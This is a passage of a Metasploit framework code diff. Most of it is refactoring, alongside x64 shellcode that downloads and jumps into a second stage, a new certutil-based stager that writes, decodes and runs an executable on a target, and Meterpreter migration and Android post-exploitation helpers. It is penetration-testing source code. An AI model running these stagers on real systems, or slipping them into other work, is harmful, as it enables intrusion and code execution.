- mov rbx, rax ; rbx = our new memory address for the new stage - mov r15, rax ; save the address so we can jump into it later - read_more: ; - xor r9, r9 ; flags - mov r8, rsi ; length - mov rdx, rbx ; the current address into our second stages RWX buffer - mov rcx, rdi ; the saved socket - mov r10d, 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call rbp ; recv( s, buffer, length, 0 ); - add rbx, rax ; buffer += bytes_received - sub rsi, rax ; length -= bytes_received - test rsi, rsi ; test length - jnz read_more ; continue if we have more to read - jmp r15 ; return into the second stage + mov rbx, rax ; rbx = our new memory address for the new stage + mov r15, rax ; save the address so we can jump into it later + + read_more: ; + xor r9, r9 ; flags + mov r8, rsi ; length + mov rdx, rbx ; the current address into our second stages RWX buffer + mov rcx, rdi ; the saved socket + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call rbp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed so free up memory + pop rax + push r15 + pop rcx ; lpAddress + push 0x4000 ; MEM_COMMIT + pop r8 ; dwFreeType + push 0 ; 0 + pop rdx ; dwSize + mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')} + call rbp ; VirtualFree(payload, 0, MEM_COMMIT) + + cleanup_socket: + ; clean up the socket + push rdi ; socket handle + pop rcx ; s (closesocket parameter) + mov r10d, #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')} + call rbp + + ; and try again + dec r14 ; decrement the retry count + jmp create_socket + ^ + end + + asm << %Q^ + read_successful: + add rbx, rax ; buffer += bytes_received + sub rsi, rax ; length -= bytes_received + test rsi, rsi ; test length + jnz read_more ; continue if we have more to read + jmp r15 ; return into the second stage ^ if opts[:exitfunk] diff --git a/lib/msf/core/post/android.rb b/lib/msf/core/post/android.rb new file mode 100644 index 0000000000..dbe96e2d53 --- /dev/null +++ b/lib/msf/core/post/android.rb @@ -0,0 +1,8 @@ +# -*- coding: binary -*- + +module Msf::Post::Android + + require 'msf/core/post/android/system' + require 'msf/core/post/android/priv' + +end diff --git a/lib/msf/core/post/android/priv.rb b/lib/msf/core/post/android/priv.rb new file mode 100644 index 0000000000..42d4bc09e4 --- /dev/null +++ b/lib/msf/core/post/android/priv.rb @@ -0,0 +1,35 @@ +# -*- coding: binary -*- + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Android +module Priv + + include Msf::Post::Common + + public + + # Returns whether we are running as root or not. + # + # @return [Boolean] TrueClass if as root, otherwise FalseClass. + def is_root? + id = cmd_exec('id') + uid = id.scan(/uid=(\d+)(.+)/).flatten.first + if /^0$/ === uid + return true + else + return false + end + end + + private + + def get_id + cmd_exec('id') + end + +end ; end ; end ; end \ No newline at end of file diff --git a/lib/msf/core/post/android/system.rb b/lib/msf/core/post/android/system.rb new file mode 100644 index 0000000000..38f1afe4f1 --- /dev/null +++ b/lib/msf/core/post/android/system.rb @@ -0,0 +1,31 @@ +# -*- coding: binary -*- + +require 'msf/core/post/common' +require 'msf/core/post/file' +require 'msf/core/post/unix' + +module Msf +class Post +module Android +module System + + include Msf::Post::Common + include Msf::Post::File + + # Returns system information from build.prop. + # + # @return [Hash] System information. + def get_build_prop + sys_data = {} + build_prop = cmd_exec('cat /system/build.prop') + + return sys_data if build_prop.blank? + + build_prop.scan(/(.+)=(.+)/i).collect {|e| Hash[*e]}.each do |setting| + sys_data.merge!(setting) + end + + return sys_data + end + +end ; end ; end ; end \ No newline at end of file diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index b067392452..914e0a787e 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -186,15 +186,7 @@ class Driver < Msf::Ui::Driver # framework.db.active will be true if after_establish_connection ran directly when connection_established? was # already true or if framework.db.connect called after_establish_connection. - if framework.db.active - unless opts['DeferModuleLoads'] - self.framework.modules.refresh_cache_from_database - - if self.framework.modules.cache_empty? - print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") - end - end - elsif !framework.db.error.nil? + if !! framework.db.error if framework.db.error.to_s =~ /RubyGem version.*pg.*0\.11/i print_error("***") print_error("*") @@ -217,12 +209,15 @@ class Driver < Msf::Ui::Driver # Initialize the module paths only if we didn't get passed a Framework instance and 'DeferModuleLoads' is false unless opts['Framework'] || opts['DeferModuleLoads'] # Configure the framework module paths - self.framework.init_module_paths - self.framework.modules.add_module_path(opts['ModulePath']) if opts['ModulePath'] + self.framework.init_module_paths(module_paths: opts['ModulePath']) + end - # Rebuild the module cache in a background thread - self.framework.threads.spawn("ModuleCacheRebuild", true) do - self.framework.modules.refresh_cache_from_module_files + if framework.db.active && !opts['DeferModuleLoads'] + if self.framework.modules.cache_empty? + self.framework.threads.spawn("ModuleCacheRebuild", true) do + self.framework.modules.refresh_cache_from_module_files + end + print_status("The initial module cache will be built in the background, this can take 2-5 minutes...") end end diff --git a/lib/net/dns/rr/classes.rb b/lib/net/dns/rr/classes.rb index b5921ba09b..2ec1aaf1dd 100644 --- a/lib/net/dns/rr/classes.rb +++ b/lib/net/dns/rr/classes.rb @@ -40,7 +40,7 @@ module Net # :nodoc: when Fixnum return Classes.invert.has_key?(cls) else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -55,7 +55,7 @@ module Net # :nodoc: raise ClassArgumentError, "Unknown class number #{cls}" end else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -81,7 +81,7 @@ module Net # :nodoc: @str = Classes.invert[@@default] @num = @@default else - raise ClassArgumentError, "Wrong cls class: #{cls.class}" + raise ClassArgumentError, "Wrong class: #{cls.class}" end end @@ -89,15 +89,15 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(cls) case cls - when /^CLASS\\d+/ - # TODO!!! + when /^CLASS(\d+)$/ + new_from_num(Regexp.last_match(1).to_i) else # String with name of class if Classes.has_key? cls @str = cls @num = Classes[cls] else - raise ClassesArgumentError, "Unknown cls #{cls}" + raise ClassArgumentError, "Unknown class #{cls}" end end end @@ -105,11 +105,13 @@ module Net # :nodoc: # Contructor for numeric data class # *PRIVATE* method def new_from_num(cls) + raise ClassArgumentError, "Invalid class #{cls}" if cls < 0 || cls > 0xFFFF if Classes.invert.has_key? cls @num = cls @str = Classes.invert[cls] else - raise ClassesArgumentError, "Unknown cls number #{cls}" + @num = cls + @str = "CLASS#{cls}" end end diff --git a/lib/net/dns/rr/types.rb b/lib/net/dns/rr/types.rb index 9b75ac2aab..e4507d23c2 100644 --- a/lib/net/dns/rr/types.rb +++ b/lib/net/dns/rr/types.rb @@ -167,8 +167,8 @@ module Net # :nodoc: # *PRIVATE* method def new_from_string(type) case type - when /^TYPE\\d+/ - # TODO!!! + when /^TYPE(\d+)$/ + new_from_num(Regexp.last_match(1).to_i) else # String with name of type if Types.has_key? type @@ -183,11 +183,13 @@ module Net # :nodoc: # Contructor for numeric data type # *PRIVATE* method def new_from_num(type) + raise TypeArgumentError, "Invalid type #{type}" if type < 0 || type > 0xFFFF if Types.invert.has_key? type @num = type @str = Types.invert[type] else - raise TypeArgumentError, "Unknown type number #{type}" + @num = type + @str = "TYPE#{type}" end end diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 3db60c1f37..e57d563796 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -2,6 +2,7 @@ require 'rex/exploitation/cmdstager/base' require 'rex/exploitation/cmdstager/vbs' +require 'rex/exploitation/cmdstager/certutil' require 'rex/exploitation/cmdstager/debug_write' require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' diff --git a/lib/rex/exploitation/cmdstager/certutil.rb b/lib/rex/exploitation/cmdstager/certutil.rb new file mode 100644 index 0000000000..6bfc5b569a --- /dev/null +++ b/lib/rex/exploitation/cmdstager/certutil.rb @@ -0,0 +1,115 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' + +module Rex +module Exploitation + +### +# +# This class provides the ability to create a sequence of commands from an executable. +# When this sequence is ran via command injection or a shell, the resulting exe will +# be written to disk and executed. +# +# This particular version uses Windows certutil to base64 decode a file, +# created via echo >>, and decode it to the final binary. +# +# +# Written by xistence +# Original discovery by @mattifestation - https://gist.github.com/mattifestation/47f9e8a431f96a266522 +# +### + +class CmdStagerCertutil < CmdStagerBase + + def initialize(exe) + super + + @var_encoded = Rex::Text.rand_text_alpha(5) + @var_decoded = Rex::Text.rand_text_alpha(5) + @decoder = nil # filled in later + end + + + # Override just to set the extra byte count + # @param opts [Array] The options to generate the command line + # @return [Array] The complete command line + def generate_cmds(opts) + # Set the start/end of the commands here (vs initialize) so we have @tempdir + @cmd_start = "echo " + @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64" + xtra_len = @cmd_start.length + @cmd_end.length + 1 + opts.merge!({ :extra => xtra_len }) + super + end + + + # Simple base64 encoder for the executable + # @param opts [Array] The options to generate the command line + # @return [String] Base64 encoded executable + def encode_payload(opts) + Rex::Text.encode_base64(@exe) + end + + + # Combine the parts of the encoded file with the stuff that goes + # before / after it. + # @param parts [Array] Splitted commands + # @param opts [Array] The options to generate the command line + # @return [Array] The command line + def parts_to_commands(parts, opts) + + cmds = [] + parts.each do |p| + cmd = '' + cmd << @cmd_start + cmd << p + cmd << @cmd_end + cmds << cmd + end + + cmds + end + + + # Generate the commands that will decode the file we just created + # @param opts [Array] The options to generate the command line + # @return [Array] The certutil Base64 decoder part of the command line + def generate_cmds_decoder(opts) + + cmds = [] + cmds << "certutil -decode #{@tempdir}#{@var_encoded}.b64 #{@tempdir}#{@var_decoded}.exe" + return cmds + end + + + # We override compress commands just to stick in a few extra commands + # last second.. + # @param cmds [Array] Complete command line + # @param opts [Array] Extra options for command line generation + # @return [Array] The complete command line including cleanup + def compress_commands(cmds, opts) + # Make it all happen + cmds << "#{@tempdir}#{@var_decoded}.exe" + + # Clean up after unless requested not to.. + if (not opts[:nodelete]) + cmds << "del #{@tempdir}#{@var_encoded}.b64" + # NOTE: We won't be able to delete the exe while it's in use. + end + + super + end + + # Windows uses & to concat strings + # + # @return [String] Concat operator + def cmd_concat_operator + " & " + end + +end +end +end diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index e144707c4f..b751768348 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -54,7 +54,7 @@ class ClientCore < Extension # Initializes the 'core' portion of the meterpreter client commands. # def initialize(client) - super(client, "core") + super(client, 'core') end ## @@ -81,7 +81,7 @@ class ClientCore < Extension # No response? if response.nil? - raise RuntimeError, "No response was received to the core_enumextcmd request.", caller + raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller elsif response.result != 0 # This case happens when the target doesn't support the core_enumextcmd message. # If this is the case, then we just want to ignore the error and return an empty @@ -180,7 +180,7 @@ class ClientCore < Extension # No library path, no cookie. if library_path.nil? - raise ArgumentError, "No library file path was supplied", caller + raise ArgumentError, 'No library file path was supplied', caller end # Set up the proper loading flags @@ -215,7 +215,7 @@ class ClientCore < Extension # path of the local and target so that it gets loaded with a random # name if opts['Extension'] - library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}" + library_path = "ext#{rand(1000000)}.#{client.binary_suffix}" target_path = library_path end end @@ -233,7 +233,7 @@ class ClientCore < Extension # No response? if response.nil? - raise RuntimeError, "No response was received to the core_loadlib request.", caller + raise RuntimeError, 'No response was received to the core_loadlib request.', caller elsif response.result != 0 raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller end @@ -431,16 +431,16 @@ class ClientCore < Extension # Migrates the meterpreter instance to the process specified # by pid. The connection to the server remains established. # - def migrate(pid, writable_dir = nil) - keepalive = client.send_keepalives + def migrate(pid, writable_dir = nil, opts = {}) + keepalive = client.send_keepalives client.send_keepalives = false - process = nil - binary_suffix = nil - old_platform = client.platform - old_binary_suffix = client.binary_suffix + process = nil + binary_suffix = nil + old_platform = client.platform + old_binary_suffix = client.binary_suffix # Load in the stdapi extension if not allready present so we can determine the target pid architecture... - client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" ) + client.core.use('stdapi') if not client.ext.aliases.include?('stdapi') # Determine the architecture for the pid we are going to migrate into... client.sys.process.processes.each { | p | @@ -452,7 +452,7 @@ class ClientCore < Extension # We cant migrate into a process that does not exist. unless process - raise RuntimeError, "Cannot migrate into non existent process", caller + raise RuntimeError, 'Cannot migrate into non existent process', caller end # We cannot migrate into a process that we are unable to open @@ -465,7 +465,7 @@ class ClientCore < Extension # And we also cannot migrate into our own current process... if process['pid'] == client.sys.process.getpid - raise RuntimeError, "Cannot migrate into current process", caller + raise RuntimeError, 'Cannot migrate into current process', caller end if client.platform =~ /linux/ @@ -484,19 +484,19 @@ class ClientCore < Extension blob = generate_payload_stub(process) # Build the migration request - request = Packet.create_request( 'core_migrate' ) + request = Packet.create_request('core_migrate') if client.platform =~ /linux/i socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5))) if socket_path.length > UNIX_PATH_MAX - 1 - raise RuntimeError, "The writable dir is too long", caller + raise RuntimeError, 'The writable dir is too long', caller end pos = blob.index(DEFAULT_SOCK_PATH) if pos.nil? - raise RuntimeError, "The meterpreter binary is wrong", caller + raise RuntimeError, 'The meterpreter binary is wrong', caller end blob[pos, socket_path.length + 1] = socket_path + "\x00" @@ -510,14 +510,17 @@ class ClientCore < Extension request.add_tlv( TLV_TYPE_MIGRATE_PID, pid ) request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length ) request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib]) + if process['arch'] == ARCH_X86_64 request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64 else request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86 end - # Send the migration request (bump up the timeout to 60 seconds) - client.send_request( request, 60 ) + # Send the migration request. Timeout can be specified by the caller, or set to a min + # of 60 seconds. + timeout = [(opts[:timeout] || 0), 60].max + client.send_request(request, timeout) if client.passive_service # Sleep for 5 seconds to allow the full handoff, this prevents @@ -539,7 +542,7 @@ class ClientCore < Extension # keep from hanging the packet dispatcher thread, which results # in blocking the entire process. begin - Timeout.timeout(60) do + Timeout.timeout(timeout) do # Renegotiate SSL over this socket client.swap_sock_ssl_to_plain() client.swap_sock_plain_to_ssl() @@ -600,10 +603,10 @@ class ClientCore < Extension if not client.passive_service self.client.send_packet(request) else - # If this is a HTTP/HTTPS session we need to wait a few seconds - # otherwise the session may not receive the command before we - # kill the handler. This could be improved by the server side - # sending a reply to shutdown first. + # If this is a HTTP/HTTPS session we need to wait a few seconds + # otherwise the session may not receive the command before we + # kill the handler. This could be improved by the server side + # sending a reply to shutdown first. self.client.send_packet_wait_response(request, 10) end true diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index a036336356..9ae6874737 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -28,6 +28,9 @@ class Console::CommandDispatcher::Core self.extensions = [] self.bgjobs = [] self.bgjob_id = 0 + + # keep a lookup table to refer to transports by index + @transport_map = {} end @@irb_opts = Rex::Parser::Arguments.new( @@ -571,6 +574,7 @@ class Console::CommandDispatcher::Core '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], '-l' => [ true, 'LHOST parameter (for reverse transports)' ], '-p' => [ true, 'LPORT parameter' ], + '-i' => [ true, 'Specify transport by index (currently supported: remove)' ], '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], @@ -601,6 +605,13 @@ class Console::CommandDispatcher::Core print_line(@@transport_opts.usage) end + def update_transport_map + result = client.core.transport_list + @transport_map.clear + sorted_by_url = result[:transports].sort_by { |k| k[:url] } + sorted_by_url.each_with_index { |t, i| @transport_map[i+1] = t } + end + # # Manage transports # @@ -637,12 +648,15 @@ class Console::CommandDispatcher::Core } valid = true + transport_index = 0 @@transport_opts.parse(args) do |opt, idx, val| case opt when '-c' opts[:cert] = val when '-u' opts[:uri] = val + when '-i' + transport_index = val.to_i when '-ph' opts[:proxy_host] = val when '-pp' @@ -685,13 +699,21 @@ class Console::CommandDispatcher::Core return end + update_transport_map + case command when 'list' result = client.core.transport_list + + current_transport_url = result[:transports].first[:url] + + sorted_by_url = result[:transports].sort_by { |k| k[:url] } + # this will output the session timeout first print_timeouts(result) columns =[ + 'ID', 'Curr', 'URL', 'Comms T/O', @@ -709,16 +731,13 @@ class Console::CommandDispatcher::Core # next draw up a table of transport entries tbl = Rex::Ui::Text::Table.new( - 'SortIndex' => -1, # disable any sorting + 'SortIndex' => 0, # sort by ID 'Indent' => 4, 'Columns' => columns) - first = true - result[:transports].each do |t| - entry = [ first ? '*' : '', t[:url], t[:comm_timeout], - t[:retry_total], t[:retry_wait] ] - - first = false + sorted_by_url.each_with_index do |t, i| + entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url], + t[:comm_timeout], t[:retry_total], t[:retry_wait] ] if opts[:verbose] entry << t[:ua] @@ -772,6 +791,22 @@ class Console::CommandDispatcher::Core return end + if !transport_index.zero? && @transport_map.has_key?(transport_index) + # validate the URL + url_to_delete = @transport_map[transport_index][:url] + begin + uri = URI.parse(url_to_delete) + opts[:transport] = "reverse_#{uri.scheme}" + opts[:lhost] = uri.host + opts[:lport] = uri.port + opts[:uri] = uri.path[1..-2] if uri.scheme.include?("http") + + rescue URI::InvalidURIError + print_error("Failed to parse URL: #{url_to_delete}") + return + end + end + print_status("Removing transport ...") if client.core.transport_remove(opts) print_good("Successfully removed #{opts[:transport]} transport.") @@ -781,15 +816,21 @@ class Console::CommandDispatcher::Core end end + @@migrate_opts = Rex::Parser::Arguments.new( + '-p' => [true, 'Writable path - Linux only (eg. /tmp).'], + '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], + '-h' => [false, 'Help menu.'] + ) + def cmd_migrate_help if client.platform =~ /linux/ - print_line "Usage: migrate [writable_path]" + print_line('Usage: migrate [-p writable_path] [-t timeout]') else - print_line "Usage: migrate " + print_line('Usage: migrate [-t timeout]') end print_line - print_line "Migrates the server instance to another process." - print_line "NOTE: Any open channels or other dynamic state will be lost." + print_line('Migrates the server instance to another process.') + print_line('NOTE: Any open channels or other dynamic state will be lost.') print_line end @@ -800,19 +841,29 @@ class Console::CommandDispatcher::Core # platforms a path for the unix domain socket used for IPC. # @return [void] def cmd_migrate(*args) - if ( args.length == 0 or args.include?("-h") ) + if args.length == 0 || args.include?('-h') cmd_migrate_help return true end pid = args[0].to_i - if(pid == 0) - print_error("A process ID must be specified, not a process name") + if pid == 0 + print_error('A process ID must be specified, not a process name') return end - if client.platform =~ /linux/ - writable_dir = (args.length >= 2) ? args[1] : nil + writable_dir = nil + opts = { + timeout: nil + } + + @@transport_opts.parse(args) do |opt, idx, val| + case opt + when '-t' + opts[:timeout] = val.to_i + when '-p' + writable_dir = val + end end begin @@ -834,7 +885,7 @@ class Console::CommandDispatcher::Core service.each_tcp_relay do |lhost, lport, rhost, rport, opts| next unless opts['MeterpreterRelay'] if existing_relays.empty? - print_status("Removing existing TCP relays...") + print_status('Removing existing TCP relays...') end if (service.stop_tcp_relay(lport, lhost)) print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}") @@ -855,19 +906,15 @@ class Console::CommandDispatcher::Core server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. - if client.platform =~ /linux/ - client.core.migrate(pid, writable_dir) - else - client.core.migrate(pid) - end + client.core.migrate(pid, writable_dir, opts) - print_status("Migration completed successfully.") + print_status('Migration completed successfully.') # Update session info (we may have a new username) client.update_session_info unless existing_relays.empty? - print_status("Recreating TCP relay(s)...") + print_status('Recreating TCP relay(s)...') existing_relays.each do |r| client.pfservice.start_tcp_relay(r[:lport], r[:opts]) print_status("Local TCP relay recreated: #{r[:opts]['LocalHost'] || '0.0.0.0'}:#{r[:lport]} <-> #{r[:opts]['PeerHost']}:#{r[:opts]['PeerPort']}") diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb index ec7d4c0f93..3e1668e6c7 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb @@ -422,6 +422,11 @@ class Console::CommandDispatcher::Stdapi::Sys # Lists running processes. # def cmd_ps(*args) + if args.include?('-h') + cmd_ps_help + return true + end + # Init vars processes = client.sys.process.get_processes search_term = nil @@ -435,9 +440,6 @@ class Console::CommandDispatcher::Stdapi::Sys print_error("Enter a search term") return true end - when '-h' - cmd_ps_help - return true when "-A" print_line "Filtering on arch..." searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new diff --git a/lib/rex/proto/ipmi/utils.rb b/lib/rex/proto/ipmi/utils.rb index d86df13bd5..5848a9fde9 100644 --- a/lib/rex/proto/ipmi/utils.rb +++ b/lib/rex/proto/ipmi/utils.rb @@ -15,8 +15,8 @@ class Utils def self.create_ipmi_getchannel_probe [ # Get Channel Authentication Capabilities 0x06, 0x00, 0xff, 0x07, # RMCP Header - 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18, + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x20, 0x18, 0xc8, 0x81, 0x00, 0x38, 0x8e, 0x04, 0xb5 ].pack("C*") end @@ -36,20 +36,20 @@ class Utils 0x00, 0x00, # Reserved 0x00, 0x00 - ].pack("C*") + + ].pack("C*") + console_session_id + [ - 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x08, + 0x01, 0x00, 0x00, 0x08, # HMAC-SHA1 - 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x08, + 0x01, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x08, # AES Encryption 0x01, 0x00, 0x00, 0x00 ].pack("C*") - head + [data.length].pack('v') + data + head + [data.length].pack('v') + data end @@ -68,39 +68,43 @@ class Utils 0x00, 0x00, # Reserved 0x00, 0x00 - ].pack("C*") + + ].pack("C*") + console_session_id + [ - 0x00, 0x00, 0x00, 0x08, + 0x00, 0x00, 0x00, 0x08, # Cipher 0 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x08, # Cipher 0 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x08, - # No Encryption + # No Encryption 0x00, 0x00, 0x00, 0x00 ].pack("C*") - head + [data.length].pack('v') + data + head + [data.length].pack('v') + data end def self.create_ipmi_rakp_1(bmc_session_id, console_random_id, username) - [ + head = [ 0x06, 0x00, 0xff, 0x07, # RMCP Header 0x06, # RMCP+ Authentication Type PAYLOAD_RAKP1, # Payload Type - 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, - 0x00, 0x00, 0x00, 0x00 - ].pack("C*") + - bmc_session_id + - console_random_id + - [ - 0x14, 0x00, 0x00, - username.length - ].pack("C*") + - username + 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, + ].pack("C*") + + data = + [0x00, 0x00, 0x00, 0x00].pack("C*") + + bmc_session_id + + console_random_id + + [ + 0x14, 0x00, 0x00, + username.length + ].pack("C*") + + username + + head + [data.length].pack('v') + data end @@ -109,7 +113,7 @@ class Utils bmc_sid + con_rid + bmc_rid + - bmc_gid + + bmc_gid + [ auth_level ].pack("C") + [ username.length ].pack("C") + username @@ -122,4 +126,4 @@ class Utils end end end -end \ No newline at end of file +end diff --git a/lib/rex/socket/ssl_tcp.rb b/lib/rex/socket/ssl_tcp.rb index ff34271f91..ca92f0852a 100644 --- a/lib/rex/socket/ssl_tcp.rb +++ b/lib/rex/socket/ssl_tcp.rb @@ -56,52 +56,38 @@ begin def initsock(params = nil) super - # The autonegotiation preference for SSL/TLS versions - versions = [:TLSv1, :SSLv3, :SSLv23, :SSLv2] + # Default to SSLv23 (automatically negotiate) + version = :SSLv23 - # Limit this to a specific SSL/TLS version if specified + # Let the caller specify a particular SSL/TLS version if params case params.ssl_version when 'SSL2', :SSLv2 - versions = [:SSLv2] + version = :SSLv2 when 'SSL23', :SSLv23 - versions = [:SSLv23] + version = :SSLv23 when 'SSL3', :SSLv3 - versions = [:SSLv3] - when 'TLS1', :TLSv1 - versions = [:TLSv1] - else - # Leave the version list as-is (Auto) + version = :SSLv3 + when 'TLS1','TLS1.0', :TLSv1 + version = :TLSv1 + when 'TLS1.1', :TLSv1_1 + version = :TLSv1_1 + when 'TLS1.2', :TLSv1_2 + version = :TLSv1_2 end end - # Limit our versions to those supported by the linked OpenSSL library - versions = versions.select {|v| OpenSSL::SSL::SSLContext::METHODS.include? v } - # Raise an error if no selected versions are supported - if versions.length == 0 + if ! OpenSSL::SSL::SSLContext::METHODS.include? version raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version' end - last_error = nil + # Try intializing the socket with this SSL/TLS version + # This will throw an exception if it fails + initsock_with_ssl_version(params, version) - # Iterate through SSL/TLS versions until we successfully negotiate - versions.each do |version| - begin - # Try intializing the socket with this SSL/TLS version - # This will throw an exception if it fails - initsock_with_ssl_version(params, version) - - # Success! Record what method was used and return - self.ssl_negotiated_version = version - return - rescue OpenSSL::SSL::SSLError => e - last_error = e - end - end - - # No SSL/TLS versions succeeded, raise the last error - raise last_error + # Track the SSL version + self.ssl_negotiated_version = version end def initsock_with_ssl_version(params, version) @@ -137,9 +123,6 @@ begin # Tie the context to a socket self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx) - # XXX - enabling this causes infinite recursion, so disable for now - # self.sslsock.sync_close = true - # Force a negotiation timeout begin Timeout.timeout(params.timeout) do diff --git a/lib/rex/text.rb b/lib/rex/text.rb index b5dfe85fb9..9d55293c61 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1522,7 +1522,10 @@ module Text # @param data [#delete] # @param badchars [String] A list of characters considered to be bad def self.remove_badchars(data, badchars = '') - data.delete(badchars) + return data if badchars.length == 0 + badchars_pat = badchars.unpack("C*").map{|c| "\\x%.2x" % c}.join + data.gsub!(/[#{badchars_pat}]/n, '') + data end # @@ -1531,7 +1534,8 @@ module Text # @param keepers [String] # @return [String] All characters not contained in +keepers+ def self.charset_exclude(keepers) - [*(0..255)].pack('C*').delete(keepers) + excluded_bytes = [*(0..255)] - keepers.unpack("C*") + excluded_bytes.pack("C*") end # diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index c96d7fe78c..3ef681604f 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -61,7 +61,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' # Needed for Meterpreter - spec.add_runtime_dependency 'metasploit-payloads', '1.0.10' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.12' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler diff --git a/modules/auxiliary/scanner/http/cert.rb b/modules/auxiliary/scanner/http/cert.rb index e568f342f7..167bb24fc9 100644 --- a/modules/auxiliary/scanner/http/cert.rb +++ b/modules/auxiliary/scanner/http/cert.rb @@ -43,8 +43,6 @@ class Metasploit3 < Msf::Auxiliary print_status("#{ip} No certificate subject or CN found") return end - - issuer_pattern = Regexp.new(datastore['ISSUER'], [Regexp::EXTENDED, 'n']) sub = cert.subject.to_a before = Time.parse("#{cert.not_before}") @@ -61,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary end end - if ( "#{cert.issuer}" !~ /#{issuer_pattern}/) + if cert.issuer.to_s !~ /#{datastore['ISSUER']}/n print_good("#{ip} - '#{vhostn}' : #{cert.issuer} (BAD ISSUER)" ) elsif datastore['SHOWALL'] # show verbose as status diff --git a/modules/auxiliary/scanner/http/http_login.rb b/modules/auxiliary/scanner/http/http_login.rb index 228562ae0d..de43931a43 100644 --- a/modules/auxiliary/scanner/http/http_login.rb +++ b/modules/auxiliary/scanner/http/http_login.rb @@ -119,7 +119,7 @@ class Metasploit3 < Msf::Auxiliary if rport == 443 or ssl proto = "https" end - "#{proto}://#{rhost}:#{rport}#{@uri.to_s}" + "#{proto}://#{vhost}:#{rport}#{@uri.to_s}" end def run_host(ip) @@ -127,15 +127,21 @@ class Metasploit3 < Msf::Auxiliary print_error("You need need to set AUTH_URI when using PUT Method !") return end + + extra_info = "" + if rhost != vhost + extra_info = " (#{rhost})" + end + @uri = find_auth_uri if ! @uri - print_error("#{target_url} No URI found that asks for HTTP authentication") + print_error("#{target_url}#{extra_info} No URI found that asks for HTTP authentication") return end @uri = "/#{@uri}" if @uri[0,1] != "/" - print_status("Attempting to login to #{target_url}") + 